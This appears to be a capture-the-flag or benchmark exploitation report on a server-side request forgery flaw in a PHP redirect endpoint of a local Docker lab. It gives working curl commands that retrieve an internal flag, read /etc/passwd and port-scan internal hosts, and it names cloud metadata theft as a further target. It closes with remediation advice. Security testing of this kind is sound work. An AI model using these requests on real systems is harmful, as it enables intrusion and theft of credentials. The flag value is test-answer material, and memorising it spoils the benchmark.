# SSRF Exploitation Evidence

## Successfully Exploited Vulnerabilities

### SSRF-VULN-01: Server-Side Request Forgery in /redirect.php

**Summary:**
- **Vulnerable location:** GET /redirect.php?url=<USER_INPUT>
- **Impact:** Complete bypass of network isolation controls, enabling unauthorized access to internal services, retrieval of sensitive data (FLAG), local file system access, and internal network reconnaissance
- **Severity:** Critical

**Prerequisites:**
None - This vulnerability is exploitable by any anonymous user with network access to the target application at http://localhost:34287

**Exploitation Steps:**

**Step 1: Access Internal Service and Retrieve FLAG**

Execute the following command to exploit the SSRF vulnerability and access the internal-service that should be isolated from external access:

```bash
curl "http://localhost:34287/redirect.php?url=http://internal-service/"
```

**Expected Response:**
```html
<h1>Fetched Content</h1><pre>&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;Internal Service&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Internal Service&lt;/h1&gt;
    &lt;p&gt;This is a sensitive internal service.&lt;/p&gt;
FLAG: FLAG{6e5d772fb6e28ca52985079acf7bfa46d729870e6bae73166208f1fdcd831667}
&lt;/body&gt;
&lt;/html&gt;
</pre>
```

**Step 2: Extract FLAG Value**

To cleanly extract just the FLAG value:

```bash
curl -s "http://localhost:34287/redirect.php?url=http://internal-service/" | grep "FLAG:"
```

**Output:**
```
FLAG: FLAG{6e5d772fb6e28ca52985079acf7bfa46d729870e6bae73166208f1fdcd831667}
```

**Step 3: Demonstrate Loopback Access**

Test SSRF access to localhost using both hostname and IP address:

```bash
# Test using localhost hostname
curl -s "http://localhost:34287/redirect.php?url=http://localhost/" | head -20

# Test using 127.0.0.1 IP
curl -s "http://localhost:34287/redirect.php?url=http://127.0.0.1/" | head -20
```

**Result:** Successfully accessed the web-app's own landing page through the SSRF vulnerability, demonstrating the ability to make arbitrary internal requests.

**Step 4: Demonstrate Local File System Access**

Exploit the SSRF vulnerability to read local files using the file:// protocol:

```bash
curl -s "http://localhost:34287/redirect.php?url=file:///etc/passwd"
```

**Expected Response:**
```html
<h1>Fetched Content</h1><pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
[...additional user entries...]
</pre>
```

**Step 5: Port Scanning Internal Services**

Demonstrate network reconnaissance capability by testing various ports on the internal service:

```bash
# Test port 80 (HTTP) - Expected to be open
curl -s -m 2 "http://localhost:34287/redirect.php?url=http://internal-service:80/" | grep -c "FLAG:"

# Test port 22 (SSH) - Expected to be closed
curl -s -m 2 "http://localhost:34287/redirect.php?url=http://internal-service:22/" 2>&1 | grep "Connection refused"
```

**Results:**
- Port 80: Open (FLAG retrieved successfully)
- Port 22: Closed (Connection refused error message)

This demonstrates the ability to perform port scanning and service discovery on internal network resources.

**Proof of Impact:**

**1. Network Boundary Bypass Achieved:**
The SSRF vulnerability completely bypasses Docker network isolation controls. The internal-service was designed to be accessible only within the Docker network (xben-020-24_app-net), but through the SSRF vulnerability in /redirect.php, external attackers can proxy requests through the web-app service to access internal resources.

**2. Sensitive Data Retrieved:**
Successfully retrieved the FLAG value: `FLAG{6e5d772fb6e28ca52985079acf7bfa46d729870e6bae73166208f1fdcd831667}`

This demonstrates unauthorized access to sensitive information that should only be available to internal systems.

**3. Local File System Access:**
Successfully read /etc/passwd from the web-app container's filesystem using the file:// protocol, demonstrating the ability to access local files and potentially extract configuration files, application source code, or other sensitive data.

**4. Internal Network Reconnaissance:**
Successfully performed port scanning on internal-service, distinguishing between open and closed ports. This capability enables attackers to map the internal network topology and identify additional attack surfaces.

**Technical Details:**

**Vulnerability Root Cause:**
- File: /var/www/html/redirect.php
- Line: 5
- Code: `$response = file_get_contents($url);`
- User Input: `$url = $_GET['url'];` (Line 3)
- Validation: None - user input passed directly to file_get_contents() without any sanitization, protocol filtering, hostname validation, or IP address restrictions

**SSRF Type:** Classic SSRF (full response content returned to attacker)

**Attack Chain:**
1. External attacker submits malicious URL via GET parameter: `?url=http://internal-service/`
2. Web-app service receives request and extracts URL from $_GET['url']
3. Web-app executes file_get_contents() with attacker-controlled URL
4. Web-app makes internal HTTP request to internal-service (10.89.10.2:80)
5. Internal-service responds with HTML containing FLAG (no authentication required)
6. Web-app returns full response to attacker with htmlspecialchars() encoding
7. Attacker receives FLAG in HTML-encoded format (still readable)

**Network Context:**
- Docker Network: xben-020-24_app-net (bridge network)
- Web-app IP: 10.89.10.3 (publicly accessible via port 34287)
- Internal-service IP: 10.89.10.2 (not exposed to host, Docker network only)
- Trust Boundary Violation: SSRF allows external users to leverage web-app's internal network context

**Notes:**

**Why This is Critical:**

1. **Zero Authentication Required:** Any anonymous internet user can exploit this vulnerability
2. **Complete Network Bypass:** Network isolation (Docker bridge) provides no protection against application-layer SSRF
3. **Multi-Vector Impact:** Enables internal service access, file reading, port scanning, and potentially cloud metadata theft
4. **No Rate Limiting:** Unlimited exploitation attempts possible
5. **No Detection:** No logging or alerting on suspicious URL patterns

**Additional Exploitation Possibilities:**

While not tested in this environment (due to local deployment context), this SSRF vulnerability could also be leveraged for:

- **Cloud Metadata Theft:** If deployed on AWS/Azure/GCP, access to http://169.254.169.254/ would expose IAM credentials and instance metadata
- **Internal API Exploitation:** Access to internal REST APIs, admin interfaces, or microservices
- **Database Access:** Direct connections to internal databases if accessible via HTTP
- **Credential Harvesting:** Reading configuration files containing database passwords, API keys, etc.

**Remediation Required:**

This vulnerability requires immediate remediation through:
1. Implementation of URL allowlist (only permit specific trusted domains)
2. Protocol restriction (block file://, ftp://, gopher://, etc.)
3. IP address filtering (block RFC1918 private ranges: 10.x, 172.16.x, 192.168.x, 127.x, 169.254.x)
4. Hostname blocklist (reject internal hostnames like "internal-service", "localhost")
5. Addition of authentication between web-app and internal-service (API keys or mutual TLS)

**Conclusion:**

This SSRF vulnerability represents a complete failure of network security boundaries and demonstrates that application-layer security controls cannot be replaced by network-level isolation alone. The vulnerability is trivially exploitable and provides attackers with unrestricted access to internal resources, sensitive data, and internal network reconnaissance capabilities.